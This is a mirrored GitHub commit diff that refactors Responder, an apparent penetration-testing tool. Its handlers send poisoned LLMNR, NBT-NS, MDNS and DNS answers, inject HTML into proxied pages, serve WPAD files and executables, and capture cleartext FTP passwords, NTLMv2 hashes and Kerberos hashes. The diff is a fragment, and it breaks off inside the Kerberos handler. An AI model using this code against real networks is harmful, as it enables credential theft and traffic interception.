mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-20 05:13:34 -07:00
Merge pull request #92 from jvoisin/master
Refactor a bit the whole codebase to be more pythonic
This commit is contained in:
commit
59337ab87d
25 changed files with 315 additions and 707 deletions
|
@ -14,14 +14,10 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import sys
|
||||
import optparse
|
||||
import socket
|
||||
import time
|
||||
import settings
|
||||
import ssl
|
||||
|
||||
from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler, BaseServer
|
||||
from SocketServer import TCPServer, UDPServer, ThreadingMixIn
|
||||
from threading import Thread
|
||||
from utils import *
|
||||
|
||||
|
@ -45,8 +41,7 @@ options, args = parser.parse_args()
|
|||
if not os.geteuid() == 0:
|
||||
print color("[!] Responder must be run as root.")
|
||||
sys.exit(-1)
|
||||
|
||||
if options.OURIP is None and IsOsX() is True:
|
||||
elif options.OURIP is None and IsOsX() is True:
|
||||
print "\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
|
|
|
@ -14,15 +14,11 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re
|
||||
import sys
|
||||
|
||||
import socket
|
||||
import struct
|
||||
import string
|
||||
import logging
|
||||
|
||||
from utils import color
|
||||
from odict import OrderedDict
|
||||
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
|
||||
|
||||
def OsNameClientVersion(data):
|
||||
|
@ -31,7 +27,6 @@ def OsNameClientVersion(data):
|
|||
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
|
||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||
return OsVersion, ClientVersion
|
||||
|
||||
except:
|
||||
return "Could not fingerprint Os version.", "Could not fingerprint LanManager Client version"
|
||||
|
||||
|
|
|
@ -14,28 +14,18 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import socket
|
||||
import struct
|
||||
import settings
|
||||
import fingerprint
|
||||
|
||||
from packets import LLMNR_Ans
|
||||
from odict import OrderedDict
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
|
||||
|
||||
def Parse_LLMNR_Name(data):
|
||||
NameLen = struct.unpack('>B',data[12])[0]
|
||||
Name = data[13:13+NameLen]
|
||||
return Name
|
||||
return data[13:13+NameLen]
|
||||
|
||||
def IsOnTheSameSubnet(ip, net):
|
||||
net += '/24'
|
||||
ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16)
|
||||
netstr, bits = net.split('/')
|
||||
netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16)
|
||||
mask = (0xffffffff << (32 - int(bits))) & 0xffffffff
|
||||
return (ipaddr & mask) == (netaddr & mask)
|
||||
|
||||
def IsICMPRedirectPlausible(IP):
|
||||
dnsip = []
|
||||
|
@ -43,22 +33,19 @@ def IsICMPRedirectPlausible(IP):
|
|||
ip = line.split()
|
||||
if len(ip) < 2:
|
||||
continue
|
||||
if ip[0] == 'nameserver':
|
||||
elif ip[0] == 'nameserver':
|
||||
dnsip.extend(ip[1:])
|
||||
for x in dnsip:
|
||||
if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False:
|
||||
if x != "127.0.0.1" and IsOnTheSameSubnet(x,IP) is False:
|
||||
print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5)
|
||||
print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5)
|
||||
print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5)
|
||||
else:
|
||||
pass
|
||||
|
||||
if settings.Config.AnalyzeMode:
|
||||
IsICMPRedirectPlausible(settings.Config.Bind_To)
|
||||
|
||||
# LLMNR Server class
|
||||
class LLMNR(BaseRequestHandler):
|
||||
|
||||
class LLMNR(BaseRequestHandler): # LLMNR Server class
|
||||
def handle(self):
|
||||
data, soc = self.request
|
||||
Name = Parse_LLMNR_Name(data)
|
||||
|
@ -68,24 +55,18 @@ class LLMNR(BaseRequestHandler):
|
|||
return None
|
||||
|
||||
if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data):
|
||||
|
||||
Finger = None
|
||||
if settings.Config.Finger_On_Off:
|
||||
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
|
||||
else:
|
||||
Finger = None
|
||||
|
||||
# Analyze Mode
|
||||
if settings.Config.AnalyzeMode:
|
||||
LineHeader = "[Analyze mode: LLMNR]"
|
||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||
|
||||
# Poisoning Mode
|
||||
else:
|
||||
else: # Poisoning Mode
|
||||
Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name)
|
||||
Buffer.calculate()
|
||||
soc.sendto(str(Buffer), self.client_address)
|
||||
LineHeader = "[*] [LLMNR]"
|
||||
|
||||
print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||
|
||||
if Finger is not None:
|
||||
|
|
|
@ -15,8 +15,6 @@
|
|||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import struct
|
||||
import settings
|
||||
import socket
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import MDNS_Ans
|
||||
|
@ -33,15 +31,14 @@ def Parse_MDNS_Name(data):
|
|||
except IndexError:
|
||||
return None
|
||||
|
||||
|
||||
def Poisoned_MDNS_Name(data):
|
||||
data = data[12:]
|
||||
Name = data[:len(data)-5]
|
||||
return Name
|
||||
return data[:len(data)-5]
|
||||
|
||||
|
||||
class MDNS(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
MADDR = "224.0.0.251"
|
||||
MPORT = 5353
|
||||
|
||||
|
@ -52,22 +49,15 @@ class MDNS(BaseRequestHandler):
|
|||
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
|
||||
return None
|
||||
|
||||
try:
|
||||
# Analyze Mode
|
||||
if settings.Config.AnalyzeMode:
|
||||
if Parse_IPV6_Addr(data):
|
||||
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
|
||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||
if Parse_IPV6_Addr(data):
|
||||
print text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))
|
||||
else: # Poisoning Mode
|
||||
if Parse_IPV6_Addr(data):
|
||||
|
||||
# Poisoning Mode
|
||||
else:
|
||||
if Parse_IPV6_Addr(data):
|
||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
|
||||
Buffer.calculate()
|
||||
soc.sendto(str(Buffer), (MADDR, MPORT))
|
||||
|
||||
Poisoned_Name = Poisoned_MDNS_Name(data)
|
||||
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=socket.inet_aton(settings.Config.Bind_To))
|
||||
Buffer.calculate()
|
||||
soc.sendto(str(Buffer), (MADDR, MPORT))
|
||||
|
||||
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
|
||||
|
||||
except Exception:
|
||||
raise
|
||||
print color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)
|
|
@ -14,8 +14,7 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import socket
|
||||
import settings
|
||||
|
||||
import fingerprint
|
||||
|
||||
from packets import NBT_Ans
|
||||
|
@ -26,20 +25,15 @@ from utils import *
|
|||
def Validate_NBT_NS(data):
|
||||
if settings.Config.AnalyzeMode:
|
||||
return False
|
||||
|
||||
if NBT_NS_Role(data[43:46]) == "File Server":
|
||||
elif NBT_NS_Role(data[43:46]) == "File Server":
|
||||
return True
|
||||
|
||||
if settings.Config.NBTNSDomain:
|
||||
elif settings.Config.NBTNSDomain:
|
||||
if NBT_NS_Role(data[43:46]) == "Domain Controller":
|
||||
return True
|
||||
|
||||
if settings.Config.Wredirect:
|
||||
elif settings.Config.Wredirect:
|
||||
if NBT_NS_Role(data[43:46]) == "Workstation/Redirector":
|
||||
return True
|
||||
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
|
||||
# NBT_NS Server class.
|
||||
class NBTNS(BaseRequestHandler):
|
||||
|
@ -54,19 +48,14 @@ class NBTNS(BaseRequestHandler):
|
|||
return None
|
||||
|
||||
if data[2:4] == "\x01\x10":
|
||||
|
||||
Finger = None
|
||||
if settings.Config.Finger_On_Off:
|
||||
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
|
||||
else:
|
||||
Finger = None
|
||||
|
||||
# Analyze Mode
|
||||
if settings.Config.AnalyzeMode:
|
||||
if settings.Config.AnalyzeMode: # Analyze Mode
|
||||
LineHeader = "[Analyze mode: NBT-NS]"
|
||||
print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)
|
||||
|
||||
# Poisoning Mode
|
||||
else:
|
||||
else: # Poisoning Mode
|
||||
Buffer = NBT_Ans()
|
||||
Buffer.calculate(data)
|
||||
socket.sendto(str(Buffer), self.client_address)
|
||||
|
|
|
@ -14,16 +14,14 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import socket
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from packets import SMBHeader, SMBNegoData, SMBSessionData, SMBTreeConnectData, RAPNetServerEnum3Data, SMBTransRAPData
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
import struct
|
||||
|
||||
|
||||
def WorkstationFingerPrint(data):
|
||||
Role = {
|
||||
return {
|
||||
"\x04\x00" :"Windows 95",
|
||||
"\x04\x10" :"Windows 98",
|
||||
"\x04\x90" :"Windows ME",
|
||||
|
@ -35,12 +33,11 @@ def WorkstationFingerPrint(data):
|
|||
"\x06\x02" :"Windows 8/Server 2012",
|
||||
"\x06\x03" :"Windows 8.1/Server 2012R2",
|
||||
"\x10\x00" :"Windows 10/Server 2016",
|
||||
}
|
||||
}.get(data, 'Unknown')
|
||||
|
||||
return Role[data] if data in Role else "Unknown"
|
||||
|
||||
def RequestType(data):
|
||||
Type = {
|
||||
return {
|
||||
"\x01": 'Host Announcement',
|
||||
"\x02": 'Request Announcement',
|
||||
"\x08": 'Browser Election',
|
||||
|
@ -51,30 +48,23 @@ def RequestType(data):
|
|||
"\x0d": 'Master Announcement',
|
||||
"\x0e": 'Reset Browser State Announcement',
|
||||
"\x0f": 'Local Master Announcement',
|
||||
}
|
||||
}.get(data, 'Unknown')
|
||||
|
||||
return Type[data] if data in Type else "Unknown"
|
||||
|
||||
def PrintServerName(data, entries):
|
||||
if entries > 0:
|
||||
if entries <= 0:
|
||||
return None
|
||||
entrieslen = 26 * entries
|
||||
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
|
||||
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
|
||||
|
||||
entrieslen = 26*entries
|
||||
chunks, chunk_size = len(data[:entrieslen]), entrieslen/entries
|
||||
ServerName = [data[i:i+chunk_size] for i in range(0, chunks, chunk_size)]
|
||||
l = []
|
||||
for x in ServerName:
|
||||
fingerprint = WorkstationFingerPrint(x[16:18])
|
||||
name = x[:16].replace('\x00', '')
|
||||
l.append('%s (%s)' % (name, fingerprint))
|
||||
return l
|
||||
|
||||
l = []
|
||||
for x in ServerName:
|
||||
FP = WorkstationFingerPrint(x[16:18])
|
||||
Name = x[:16].replace('\x00', '')
|
||||
|
||||
if FP:
|
||||
l.append(Name + ' (%s)' % FP)
|
||||
else:
|
||||
l.append(Name)
|
||||
|
||||
return l
|
||||
|
||||
return None
|
||||
|
||||
def ParsePacket(Payload):
|
||||
PayloadOffset = struct.unpack('<H',Payload[51:53])[0]
|
||||
|
@ -83,9 +73,8 @@ def ParsePacket(Payload):
|
|||
if StatusCode == "\x00\x00":
|
||||
EntriesNum = struct.unpack('<H',Payload[PayloadOffset:PayloadOffset+2])[0]
|
||||
return PrintServerName(Payload[PayloadOffset+4:], EntriesNum)
|
||||
return None
|
||||
|
||||
else:
|
||||
return None
|
||||
|
||||
def RAPThisDomain(Client,Domain):
|
||||
PDC = RapFinger(Client,Domain,"\x00\x00\x00\x80")
|
||||
|
@ -100,6 +89,7 @@ def RAPThisDomain(Client,Domain):
|
|||
if WKST is not None:
|
||||
print text("[LANMAN] Detected Workstations/Servers on domain %s: %s" % (Domain, ', '.join(WKST)))
|
||||
|
||||
|
||||
def RapFinger(Host, Domain, Type):
|
||||
try:
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
@ -201,7 +191,6 @@ class Browser(BaseRequestHandler):
|
|||
if settings.Config.AnalyzeMode:
|
||||
ParseDatagramNBTNames(request,self.client_address[0])
|
||||
BecomeBackup(request,self.client_address[0])
|
||||
|
||||
BecomeBackup(request,self.client_address[0])
|
||||
|
||||
except Exception:
|
||||
|
|
|
@ -14,8 +14,6 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import re
|
||||
|
||||
from packets import DNS_Ans
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
|
@ -24,13 +22,12 @@ def ParseDNSType(data):
|
|||
QueryTypeClass = data[len(data)-4:]
|
||||
|
||||
# If Type A, Class IN, then answer.
|
||||
return True if QueryTypeClass == "\x00\x01\x00\x01" else False
|
||||
return QueryTypeClass == "\x00\x01\x00\x01"
|
||||
|
||||
|
||||
|
||||
# DNS Server class
|
||||
class DNS(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisIP(self.client_address[0]) is not True:
|
||||
return None
|
||||
|
@ -43,7 +40,7 @@ class DNS(BaseRequestHandler):
|
|||
buff.calculate(data)
|
||||
soc.sendto(str(buff), self.client_address)
|
||||
|
||||
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
ResolveName = re.sub(r'[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
|
||||
print color("[*] [DNS] Poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)
|
||||
|
||||
except Exception:
|
||||
|
@ -51,9 +48,7 @@ class DNS(BaseRequestHandler):
|
|||
|
||||
# DNS Server TCP Class
|
||||
class DNSTCP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
|
||||
# Break out if we don't want to respond to this host
|
||||
if RespondToThisIP(self.client_address[0]) is not True:
|
||||
return None
|
||||
|
@ -61,7 +56,7 @@ class DNSTCP(BaseRequestHandler):
|
|||
try:
|
||||
data = self.request.recv(1024)
|
||||
|
||||
if ParseDNSType(data) and settings.Config.AnalyzeMode == False:
|
||||
if ParseDNSType(data) and settings.Config.AnalyzeMode is False:
|
||||
buff = DNS_Ans()
|
||||
buff.calculate(data)
|
||||
self.request.send(str(buff))
|
||||
|
|
|
@ -14,8 +14,6 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler
|
||||
|
@ -47,7 +45,7 @@ class FTP(BaseRequestHandler):
|
|||
'client': self.client_address[0],
|
||||
'user': User,
|
||||
'cleartext': Pass,
|
||||
'fullhash': User+':'+Pass
|
||||
'fullhash': User + ':' + Pass
|
||||
})
|
||||
|
||||
else:
|
||||
|
|
|
@ -14,12 +14,10 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer
|
||||
from base64 import b64decode, b64encode
|
||||
from SocketServer import BaseRequestHandler, StreamRequestHandler
|
||||
from base64 import b64decode
|
||||
import struct
|
||||
from utils import *
|
||||
|
||||
from packets import NTLM_Challenge
|
||||
|
@ -72,58 +70,52 @@ def ParseHTTPHash(data, client):
|
|||
'type': 'NTLMv2',
|
||||
'client': client,
|
||||
'host': HostName,
|
||||
'user': Domain+'\\'+User,
|
||||
'hash': NTHash[:32]+":"+NTHash[32:],
|
||||
'user': Domain + '\\' + User,
|
||||
'hash': NTHash[:32] + ":" + NTHash[32:],
|
||||
'fullhash': WriteHash,
|
||||
})
|
||||
|
||||
def GrabCookie(data, host):
|
||||
Cookie = re.search('(Cookie:*.\=*)[^\r\n]*', data)
|
||||
Cookie = re.search(r'(Cookie:*.\=*)[^\r\n]*', data)
|
||||
|
||||
if Cookie:
|
||||
Cookie = Cookie.group(0).replace('Cookie: ', '')
|
||||
if len(Cookie) > 1 and settings.Config.Verbose:
|
||||
print text("[HTTP] Cookie : %s " % Cookie)
|
||||
return Cookie
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
|
||||
def GrabHost(data, host):
|
||||
Host = re.search('(Host:*.\=*)[^\r\n]*', data)
|
||||
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
|
||||
|
||||
if Host:
|
||||
Host = Host.group(0).replace('Host: ', '')
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] Host : %s " % color(Host, 3))
|
||||
return Host
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
|
||||
def GrabReferer(data, host):
|
||||
Referer = re.search('(Referer:*.\=*)[^\r\n]*', data)
|
||||
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
|
||||
|
||||
if Referer:
|
||||
Referer = Referer.group(0).replace('Referer: ', '')
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] Referer : %s " % color(Referer, 3))
|
||||
return Referer
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
|
||||
def WpadCustom(data, client):
|
||||
Wpad = re.search('(/wpad.dat|/*\.pac)', data)
|
||||
Wpad = re.search(r'(/wpad.dat|/*\.pac)', data)
|
||||
if Wpad:
|
||||
Buffer = WPADScript(Payload=settings.Config.WPAD_Script)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
|
||||
def ServeFile(Filename):
|
||||
with open (Filename, "rb") as bk:
|
||||
data = bk.read()
|
||||
bk.close()
|
||||
return data
|
||||
return bk.read()
|
||||
|
||||
def RespondWithFile(client, filename, dlname=None):
|
||||
|
||||
|
@ -138,9 +130,9 @@ def RespondWithFile(client, filename, dlname=None):
|
|||
return str(Buffer)
|
||||
|
||||
def GrabURL(data, host):
|
||||
GET = re.findall('(?<=GET )[^HTTP]*', data)
|
||||
POST = re.findall('(?<=POST )[^HTTP]*', data)
|
||||
POSTDATA = re.findall('(?<=\r\n\r\n)[^*]*', data)
|
||||
GET = re.findall(r'(?<=GET )[^HTTP]*', data)
|
||||
POST = re.findall(r'(?<=POST )[^HTTP]*', data)
|
||||
POSTDATA = re.findall(r'(?<=\r\n\r\n)[^*]*', data)
|
||||
|
||||
if GET and settings.Config.Verbose:
|
||||
print text("[HTTP] GET request from: %-15s URL: %s" % (host, color(''.join(GET), 5)))
|
||||
|
@ -152,11 +144,11 @@ def GrabURL(data, host):
|
|||
|
||||
# Handle HTTP packet sequence.
|
||||
def PacketSequence(data, client):
|
||||
NTLM_Auth = re.findall('(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
Basic_Auth = re.findall('(?<=Authorization: Basic )[^\\r]*', data)
|
||||
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\\r]*', data)
|
||||
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\\r]*', data)
|
||||
|
||||
# Serve the .exe if needed
|
||||
if settings.Config.Serve_Always == True or (settings.Config.Serve_Exe == True and re.findall('.exe', data)):
|
||||
if settings.Config.Serve_Always is True or (settings.Config.Serve_Exe is True and re.findall('.exe', data)):
|
||||
return RespondWithFile(client, settings.Config.Exe_Filename, settings.Config.Exe_DlName)
|
||||
|
||||
# Serve the custom HTML if needed
|
||||
|
@ -189,7 +181,6 @@ def PacketSequence(data, client):
|
|||
if settings.Config.Force_WPAD_Auth and WPAD_Custom:
|
||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||
return WPAD_Custom
|
||||
|
||||
else:
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
|
@ -215,28 +206,23 @@ def PacketSequence(data, client):
|
|||
if settings.Config.Verbose:
|
||||
print text("[HTTP] WPAD (auth) file sent to %s" % client)
|
||||
return WPAD_Custom
|
||||
|
||||
else:
|
||||
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||
Buffer.calculate()
|
||||
return str(Buffer)
|
||||
|
||||
else:
|
||||
if settings.Config.Basic:
|
||||
Response = IIS_Basic_401_Ans()
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] Sending BASIC authentication request to %s" % client)
|
||||
|
||||
else:
|
||||
Response = IIS_Auth_401_Ans()
|
||||
if settings.Config.Verbose:
|
||||
print text("[HTTP] Sending NTLM authentication request to %s" % client)
|
||||
|
||||
return str(Response)
|
||||
|
||||
# HTTP Server class
|
||||
class HTTP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
while True:
|
||||
|
|
|
@ -14,8 +14,6 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
import urlparse
|
||||
import select
|
||||
import zlib
|
||||
|
@ -43,24 +41,20 @@ def InjectData(data, client, req_uri):
|
|||
return data
|
||||
|
||||
RedirectCodes = ['HTTP/1.1 300', 'HTTP/1.1 301', 'HTTP/1.1 302', 'HTTP/1.1 303', 'HTTP/1.1 304', 'HTTP/1.1 305', 'HTTP/1.1 306', 'HTTP/1.1 307']
|
||||
|
||||
if [s for s in RedirectCodes if s in Headers]:
|
||||
if set(RedirectCodes) & set(Headers):
|
||||
return data
|
||||
|
||||
if "content-encoding: gzip" in Headers.lower():
|
||||
Content = zlib.decompress(Content, 16+zlib.MAX_WBITS)
|
||||
|
||||
if "content-type: text/html" in Headers.lower():
|
||||
|
||||
# Serve the custom HTML if needed
|
||||
if settings.Config.Serve_Html:
|
||||
if settings.Config.Serve_Html: # Serve the custom HTML if needed
|
||||
return RespondWithFile(client, settings.Config.Html_Filename)
|
||||
|
||||
Len = ''.join(re.findall('(?<=Content-Length: )[^\r\n]*', Headers))
|
||||
HasBody = re.findall('(<body[^>]*>)', Content)
|
||||
Len = ''.join(re.findall(r'(?<=Content-Length: )[^\r\n]*', Headers))
|
||||
HasBody = re.findall(r'(<body[^>]*>)', Content)
|
||||
|
||||
if HasBody and len(settings.Config.HtmlToInject) > 2:
|
||||
|
||||
if settings.Config.Verbose:
|
||||
print text("[PROXY] Injecting into HTTP Response: %s" % color(settings.Config.HtmlToInject, 3, 1))
|
||||
|
||||
|
@ -71,11 +65,9 @@ def InjectData(data, client, req_uri):
|
|||
|
||||
Headers = Headers.replace("Content-Length: "+Len, "Content-Length: "+ str(len(Content)))
|
||||
data = Headers +'\r\n\r\n'+ Content
|
||||
|
||||
else:
|
||||
if settings.Config.Verbose:
|
||||
print text("[PROXY] Returning unmodified HTTP response")
|
||||
|
||||
return data
|
||||
|
||||
class ProxySock:
|
||||
|
@ -96,19 +88,17 @@ class ProxySock:
|
|||
def connect(self, address) :
|
||||
|
||||
# Store the real remote adress
|
||||
(self.host, self.port) = address
|
||||
self.host, self.port = address
|
||||
|
||||
# Try to connect to the proxy
|
||||
for (family, socktype, proto, canonname, sockaddr) in socket.getaddrinfo(
|
||||
self.proxy_host,
|
||||
self.proxy_port,
|
||||
0, 0, socket.SOL_TCP) :
|
||||
0, 0, socket.SOL_TCP):
|
||||
try:
|
||||
|
||||
# Replace the socket by a connection to the proxy
|
||||
self.socket = socket.socket(family, socktype, proto)
|
||||
self.socket.connect(sockaddr)
|
||||
|
||||
except socket.error, msg:
|
||||
if self.socket:
|
||||
self.socket.close()
|
||||
|
@ -116,7 +106,7 @@ class ProxySock:
|
|||
continue
|
||||
break
|
||||
if not self.socket :
|
||||
raise socket.error, ms
|
||||
raise socket.error, msg
|
||||
|
||||
# Ask him to create a tunnel connection to the target host/port
|
||||
self.socket.send(
|
||||
|
|
|
@ -14,16 +14,11 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import settings
|
||||
|
||||
from utils import *
|
||||
from SocketServer import BaseRequestHandler
|
||||
from packets import IMAPGreeting, IMAPCapability, IMAPCapabilityEnd
|
||||
|
||||
# IMAP4 Server class
|
||||
class IMAP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
self.request.send(str(IMAPGreeting()))
|
||||
|
@ -50,6 +45,5 @@ class IMAP(BaseRequestHandler):
|
|||
## FIXME: Close connection properly
|
||||
## self.request.send(str(ditchthisconnection()))
|
||||
## data = self.request.recv(1024)
|
||||
|
||||
except Exception:
|
||||
pass
|
|
@ -14,12 +14,9 @@
|
|||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
import os
|
||||
import struct
|
||||
import settings
|
||||
|
||||
from SocketServer import BaseRequestHandler
|
||||
from utils import *
|
||||
import struct
|
||||
|
||||
def ParseMSKerbv5TCP(Data):
|
||||
MsgType = Data[21:22]
|
||||
|
@ -50,8 +47,7 @@ def ParseMSKerbv5TCP(Data):
|
|||
Domain = Data[148+NameLen+4:148+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
if HashLen == 54:
|
||||
elif HashLen == 54:
|
||||
Hash = Data[53:105]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[148:149])[0]
|
||||
|
@ -60,7 +56,6 @@ def ParseMSKerbv5TCP(Data):
|
|||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
else:
|
||||
Hash = Data[48:100]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
|
@ -70,8 +65,7 @@ def ParseMSKerbv5TCP(Data):
|
|||
Domain = Data[149+NameLen+4:149+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
|
||||
def ParseMSKerbv5UDP(Data):
|
||||
MsgType = Data[17:18]
|
||||
|
@ -80,7 +74,6 @@ def ParseMSKerbv5UDP(Data):
|
|||
if MsgType == "\x0a" and EncType == "\x17":
|
||||
if Data[40:44] == "\xa2\x36\x04\x34" or Data[40:44] == "\xa2\x35\x04\x33":
|
||||
HashLen = struct.unpack('<b',Data[41:42])[0]
|
||||
|
||||
if HashLen == 54:
|
||||
Hash = Data[44:96]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
|
@ -90,8 +83,7 @@ def ParseMSKerbv5UDP(Data):
|
|||
Domain = Data[145+NameLen+4:145+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
if HashLen == 53:
|
||||
elif HashLen == 53:
|
||||
Hash = Data[44:95]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
NameLen = struct.unpack('<b',Data[143:144])[0]
|
||||
|
@ -100,8 +92,6 @@ def ParseMSKerbv5UDP(Data):
|
|||
Domain = Data[144+NameLen+4:144+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
|
||||
|
||||
else:
|
||||
Hash = Data[49:101]
|
||||
SwitchHash = Hash[16:]+Hash[0:16]
|
||||
|
@ -111,49 +101,39 @@ def ParseMSKerbv5UDP(Data):
|
|||
Domain = Data[150+NameLen+4:150+NameLen+4+DomainLen]
|
||||
BuildHash = "$krb5pa$23$"+Name+"$"+Domain+"$dummy$"+SwitchHash.encode('hex')
|
||||
return BuildHash
|
||||
else:
|
||||
return False
|
||||
return False
|
||||
|
||||
class KerbTCP(BaseRequestHandler):
|
||||
|
||||
def handle(self):
|
||||
try:
|
||||
data = self.request.recv(1024)
|
||||
KerbHash = ParseMSKerbv5TCP(data)
|
||||
data = self.request.recv(1024)
|
||||
